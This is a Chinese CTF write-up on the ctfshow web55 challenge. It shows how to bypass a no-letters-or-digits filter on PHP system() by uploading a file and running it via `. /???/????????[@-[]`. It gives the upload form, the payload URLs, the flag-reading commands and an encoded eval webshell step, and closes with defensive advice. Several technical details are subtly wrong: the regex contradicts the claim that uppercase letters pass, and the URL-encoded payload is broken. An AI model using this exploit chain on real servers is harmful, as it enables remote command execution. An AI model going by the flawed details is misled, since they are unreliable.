巧用Linux通配符绕过无字母数字限制的CTF命令执行挑战
1. 当字母数字被“封印”:CTF命令执行的另类战场
很多刚接触Web安全的朋友,一看到命令执行的题目,第一反应可能就是构造一个system('ls /')或者cat /flag这样的payload。这思路没错,但在CTF的世界里,出题人可不会让你这么轻松。他们常常会设置一道“无字母数字”的过滤墙,用正则表达式把a-z、A-Z、0-9这些我们最熟悉的字符全部屏蔽掉。这时候你可能会懵:命令、路径、参数,哪个不需要字母数字?这题是不是出错了?
其实这正是这类题目的精妙之处,它逼迫你跳出常规思维,去挖掘编程语言和操作系统底层那些不为人知的特性。我第一次遇到这种限制时也一头雾水,试了各种拼接、编码都失败了。直到后来看到P神(PHITHON)和Y1ng师傅们的文章,才恍然大悟——原来我们手里的“武器”远比想象中多。这道ctfshow web入门55题就是一个经典的战场,它只允许你使用一些特殊的符号,却要你完成一次完整的远程命令执行(RCE)。这就像给你一把没有刀刃的刀柄,却要求你切开苹果,考验的是你对“工具”本质的理解和创造性运用的能力。
那么,在字母数字被全面封锁的情况下,我们还能依赖什么?核心思路通常有以下几个方向:利用PHP中字符串的位运算(异或、或、取反)来“拼凑”出我们想要的字符;利用PHP的自增特性从单个字符“生长”出所有字母;或者,完全跳出PHP代码构造的思维,转而利用操作系统Shell本身的特性。今天我们要重点剖析的,就是最后一种方法中一种极其巧妙且实用的技巧:巧用Linux Shell的通配符和.(source)命令,结合PHP文件上传的临时文件机制,实现绝地反击。这种方法不依赖于复杂的PHP代码变形,更贴近系统底层,往往能绕过很多基于代码分析的过滤规则。
2. 核心原理:通配符与.命令的魔法组合
要理解这个绕过技巧,我们需要掌握两个看似简单、实则强大的Linux Shell知识点。它们就像是隐藏在后门的两把钥匙。
2.1 第一把钥匙:.命令的“无权限”执行
在Linux Bash中,.(一个点)是source命令的简写。它的主要作用是在当前Shell环境中读取并执行指定文件中的命令。这和直接bash script.sh有一个关键区别:bash script.sh会启动一个新的子Shell进程来执行脚本,而.是在当前Shell进程中执行。这就带来了一个对我们极其有利的特性:通过.执行一个脚本文件,不需要该文件具有可执行权限(x权限)。
我们可以做个实验。在本地创建一个test.sh文件,内容为ls -la,并且故意不给他加执行权限:
echo "ls -la" > test.sh
chmod 644 test.sh # 只有读写权限,没有执行权限
此时,如果你尝试./test.sh,系统会报错Permission denied。但如果你使用. ./test.sh,命令将会成功执行,列出当前目录。这个特性意味着,只要我们能在服务器上控制一个文件的内容,哪怕我们无法改变它的权限,也能让其中的命令被执行。在Web应用中,文件上传功能往往就是我们向服务器写入这样一个可控文件的绝佳途径。
2.2 第二把钥匙:通配符的模糊匹配艺术
Linux Shell提供了强大的通配符(Globbing)功能,用于匹配文件名。最常用的有两个:
?:匹配任意单个字符。*:匹配任意长度(包括零)的任意字符。
当字母数字被过滤时,我们无法精确写出一个文件名,比如/tmp/phpABC123。但通配符给了我们“模糊查找”的能力。例如,/???/????????这个模式,就可以匹配到/tmp/phpXXXXXX这样的路径(假设临时文件在/tmp目录)。因为/???匹配了/tmp(三个字符),/????????匹配了以php开头的六个随机字符的文件名。
但这里有个问题:/tmp目录下通常有很多文件,/???/????????可能会匹配到一大堆结果,Shell会报错ambiguous redirect。我们需要一种方法,让匹配结果唯一地指向我们上传的临时文件。这里就需要用到**字符类(Character Class)**通配符。
2.3 关键技巧:[@-[]的精确定位
PHP处理文件上传时,生成的临时文件名格式通常是/tmp/phpXXXXXX,其中最后六个X是随机生成的大小写字母。这是一个重要的特征。在Linux通配符中,[a-z]可以匹配所有小写字母,[A-Z]匹配所有大写字母。但题目过滤了字母,我们不能直接写[A-Z]。
然而,我们可以利用ASCII码表的顺序,用范围表达式来间接表示。[@-[]这个模式,匹配的是ASCII码值在@(64)和[(91)之间的单个字符。查看ASCII码表可以发现,这个范围包含了:@、A到Z、[。也就是说,它匹配的是所有大写字母以及两个符号。
由于/tmp目录下其他系统文件或干扰文件的文件名通常都是全小写,而我们上传的PHP临时文件名的最后一个字符是随机的大小写字母。因此,模式/???/????????[@-[]就能以很高的概率,唯一匹配到我们上传的那个临时文件(因为它的最后一个字符是大写字母)。这样一来,我们就精准地定位到了目标文件。
原理串联:我们通过HTTP上传一个包含Shell命令的文件(如#!/bin/sh\nls /)。PHP会将其保存为/tmp/phpAbCdEf(最后一位是大写F)。此时,我们在可控的参数中传入Payload:c=. /???/????????[@-[]。这个命令会被system()函数执行,其含义是:在当前Shell中,执行匹配/???/????????[@-[]模式的那个文件。于是,我们上传的ls /命令就被成功执行了。
3. 实战演练:一步步拆解ctfshow web55
让我们回到文章开头提到的ctfshow web入门55,亲手复现一遍整个攻击流程。题目源码的过滤规则是:if(!preg_match("/\;|[a-z]|\|%|\x09|\x26|>|</i", $c))。它过滤了分号、所有小写字母、反引号、百分号、制表符、&、>、<。但**它没有过滤点.、斜杠/、问号?、方括号[]、@、-以及大写字母**。这正好为我们利用通配符和.`命令留下了完美的空间。
3.1 第一步:制作上传文件的HTML表单
由于题目本身可能没有显式的上传点,我们需要手动构造一个HTTP POST请求来触发文件上传。最方便的方法是写一个简单的HTML表单,指定目标为题目URL。
<!DOCTYPE html>
<html>
<head>
<title>上传临时文件</title>
</head>
<body>
<form action="http://目标网址/" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
</body>
</html>
用浏览器打开这个HTML文件,选择一个我们准备好的文本文件进行上传。这个文本文件的内容就是我们要执行的Shell命令,例如:
#!/bin/sh
ls /
第一行#!/bin/sh是指定解释器,虽然不是必须,但更规范。核心是第二行的ls /,用于列出根目录,寻找flag文件。
3.2 第二步:抓包并构造最终Payload
在上传时,使用Burp Suite或浏览器开发者工具抓取这个POST请求。抓到的包大概长这样:
POST / HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
------WebKitFormBoundary...
Content-Disposition: form-data; name="file"; filename="cmd.txt"
Content-Type: text/plain
#!/bin/sh
ls /
------WebKitFormBoundary...
重点来了:我们不需要修改或重放这个上传包。文件上传后,PHP会在服务器端自动生成临时文件。我们的攻击入口是题目提供的c参数。
在浏览器或攻击工具中,直接访问:
http://目标网址/?c=.+/???/????????[@-[]
对这个Payload进行URL编码后:
http://目标网址/?c=.%2B%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D
我们来逐段解析这个“天书”:
.:就是我们的source命令。+:在Shell中,这里代表一个空格。因为点命令后需要空格再接文件路径。我们也可以用.代替,但+同样未被过滤。/???/????????[@-[]:这就是我们的通配符路径。/???:匹配/tmp目录。/????????:匹配php+6个字符的文件名。[@-[]:确保匹配到的文件最后一个字符是大写字母,从而精准命中我们上传的临时文件。
当这个URL被访问时,system(. /???/????????[@-[])就会在服务器上执行,成功运行我们上传文件中的ls /命令,返回根目录列表。
3.3 第三步:获取Flag
如果ls /发现flag文件在根目录,比如叫flag.txt,那么下一步就是读取它。我们只需要修改上传文件的内容即可,无需改变Payload结构。将上传文件内容改为:
#!/bin/sh
cat /flag.txt
然后,再次访问相同的Payload URL:http://目标网址/?c=.+/???/????????[@-[]。这次,服务器执行的就是cat /flag.txt,flag就直接显示在页面上了。
这个过程可能需要一两次尝试,因为存在“条件竞争”。临时文件存在时间极短,我们需要在文件被删除前访问Payload。但成功率通常在50%以上,多试几次即可。
4. 技巧延伸与高级利用
掌握了基础方法后,我们来看看这个技巧的更多变化和高级应用场景,这能帮助你在更复杂的限制下依然游刃有余。
4.1 应对更严格的过滤
如果题目连点.也过滤了呢?在Linux中,source是.的别名,但source本身包含字母,肯定被禁。这时候,我们可以尝试使用反引号 ` 或 $() 来执行命令。例如,Payload可以变形为:
?c=/???/????????[@-[]
注意,这里去掉了前面的点和空格。这样写,Shell会尝试将匹配到的文件本身作为一个命令来执行。但这要求文件有可执行权限,而PHP临时文件默认没有,所以这种方法通常需要配合其他漏洞(如权限设置错误)才能成功。不过,在某些特定环境下,如果.被过滤,这也不失为一种思路。
4.2 通配符的更多玩法
[@-[]不是唯一的选择。我们还可以利用其他字符类:
[!-)]或[--.]:这些范围表达式可以匹配到一些特殊字符,有时也能起到缩小范围的作用。理解ASCII码表是灵活运用的关键。- 如果临时文件名特征发生变化(比如不是php开头),我们需要调整
/????????的模式。例如,如果是/var/tmp/目录下的5个字符的文件,模式可能就是/???/?????。
一个更通用的技巧是使用/???/???[@-[]? 不一定。模式必须符合目标文件的真实长度。通常需要根据经验或错误信息来调整。在实战中,可以先用ls /???/php*(在允许的情况下)或通过报错信息来探测临时文件的命名规律。
4.3 结合其他无字母数字技术
有时,单靠通配符可能无法完成所有操作。例如,我们需要执行一个带参数的命令,或者需要更复杂的逻辑。这时,可以将通配符技巧作为跳板,先写入一个更复杂的Webshell。
我们可以将上传文件的内容改为一段经过取反编码或异或编码的PHP代码。例如,上传内容为:
<?php eval(~%8F%97%8F%96%91%99%90); // 即 phpinfo()
然后,通过通配符.执行这个文件,它会被PHP解析器解析,从而执行编码后的PHP代码。这样,我们就从一个简单的命令执行,升级为了一个功能完整的Webshell,后续操作空间就大大增加了。
5. 防御视角与总结
从攻击中学习防御,才是真正的提高。这种利用通配符和临时文件的攻击手法,给我们开发和安全防护带来了哪些启示?
对开发者的建议:
- 最小化命令执行函数的使用:如非必要,避免使用
system()、exec()、passthru()、shell_exec()这类函数。如果必须使用,应严格使用白名单机制限制可执行的命令和参数。 - 彻底禁用危险函数:在生产环境的
php.ini中,使用disable_functions指令禁用不必要的命令执行函数。 - 严格的输入过滤与验证:不要试图用黑名单(过滤某些字符)来防御,黑名单永远有遗漏。对于命令执行,应该采用白名单,只允许预期的、安全的字符模式。
- 控制文件上传:对上传文件的存储目录进行严格权限控制,确保其不可执行;使用随机且复杂的文件名,避免被通配符轻易匹配;及时删除临时文件。
对安全研究者的启示:
这道题的精髓在于“跨界思维”。它没有局限于在PHP代码层面和过滤规则“硬碰硬”,而是巧妙地利用了操作系统Shell的原生特性。这提醒我们,在遇到看似无解的过滤时,不妨将视线抬高一层或降低一层:向上,思考应用逻辑的替代实现;向下,思考底层系统(操作系统、解释器)提供了哪些未被限制的原始能力。通配符、.命令、文件上传机制,每一个单独看来都很普通,但将它们组合起来,就形成了一条意想不到的攻击链。
最后,这种“无字母数字”的挑战,虽然常见于CTF,但其背后所体现的对编程语言和系统环境深入理解、对现有资源的创造性利用的思想,却是每一位安全从业者都需要不断锤炼的核心能力。下次当你再看到一堆被过滤的字符时,或许你会会心一笑,因为你知道,真正的战斗才刚刚开始。
更多推荐
所有评论(0)